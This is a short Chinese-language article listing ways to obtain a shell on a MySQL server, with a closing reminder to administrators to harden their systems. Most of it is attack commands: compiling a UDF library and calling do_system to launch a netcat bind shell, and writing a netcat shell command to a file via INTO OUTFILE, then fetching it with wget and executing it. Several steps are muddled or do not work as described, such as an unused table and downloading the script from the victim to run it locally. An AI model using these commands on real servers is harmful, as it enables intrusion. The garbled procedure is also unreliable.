Mysql数据库中Getshell的方式总结

Mysql数据库是一个广泛使用的关系型数据库，并且在网络应用中常常作为后台数据库使用。然而，由于许多开发人员和管理员对其配置和安全性缺乏足够的了解，导致其更容易受到黑客的攻击。本文将总结一些在Mysql数据库中可用于Getshell的方式，并提供示例说明。

1. MYSQL UDF Getshell

• UDF（User Defined Function，用户自定义函数）是mysql的一个扩展库，可以向mysql添加新的自定义函数，利用UDF进行Getshell的步骤如下：

• 编译用户自定义函数

  bash
gcc -o udf.so udf.c $(mysql_config --cflags) -shared -fPIC

• 将编译好的so文件上传到mysql的udf目录

  bash
mysql -u root -p
use mysql;
create table shell(command varchar(255));
insert into shell values('/bin/bash');
create function do_system returns integer soname 'udf.so';
select do_system(concat('nc -lvp 4444 -e /bin/bash &'));

  通过以上步骤，攻击者可将命令注入到自定义函数，从而实现Getshell。

2. MYSQL 命令执行Getshell

• 如果Mysql服务器的权限控制不严格，那么黑客可以通过命令注入的方式来Getshell，具体步骤如下：

• 创建一张新表来存储恶意命令

  mysql
create table shell(command text);

• 将恶意命令写入到新表中

  mysql
insert into shell values("nc -e /bin/bash -lvp 5555");

• 利用mysql客户端的导出命令执行注入的命令

  bash
mysql --user=username --password=password --database=database --execute="SELECT command INTO OUTFILE '/var/lib/mysql/shell.sh' FROM shell;"

• 下载注入命令到本地执行

  bash
wget http://<victim_ip>/shell.sh
sh shell.sh

通过以上步骤，攻击者可成功Getshell。

结论

以上方式只是Black Hat Hacker获取Mysql服务器Shell的一些方法之一。在实际的网络攻击中，攻击者可以通过各种技术手段，如漏洞利用、SQL注入和社会工程等，来实现攻击目的，网络管理员应该进行及时防范和加强安全措施，以降低黑客攻击的风险。